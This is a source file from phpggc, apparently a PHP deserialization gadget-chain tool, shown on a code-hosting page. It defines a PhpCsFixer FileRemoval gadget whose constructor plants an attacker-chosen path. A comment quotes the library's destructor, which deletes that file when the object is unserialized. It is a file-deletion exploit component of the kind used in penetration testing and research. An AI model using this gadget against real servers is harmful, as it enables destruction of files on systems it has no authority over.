Codebase list phpggc / a98ae3d2-7565-48f5-a1e9-9413a1e65feb/main gadgetchains / PHPCSFixer / FD / 1 / gadgets.php
a98ae3d2-7565-48f5-a1e9-9413a1e65feb/main

Tree @a98ae3d2-7565-48f5-a1e9-9413a1e65feb/main (Download .tar.gz)

gadgets.php @a98ae3d2-7565-48f5-a1e9-9413a1e65feb/mainraw · history · blame

<?php

namespace PhpCsFixer
{
//https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/v2.17.3/src/FileRemoval.php
    class FileRemoval
    {

        function __construct($remote_path)
        {
            $this->files = [$remote_path => $remote_path];

        }

    }
}

/* 
    public function __destruct()
    {
        $this->clean();
    }




    public function clean()
    {
        foreach ($this->files as $file => $value) {
            $this->unlink($file);
        }
        $this->files = [];
    }

    private function unlink($path)
    {
        @unlink($path);
    }
}
*/


?>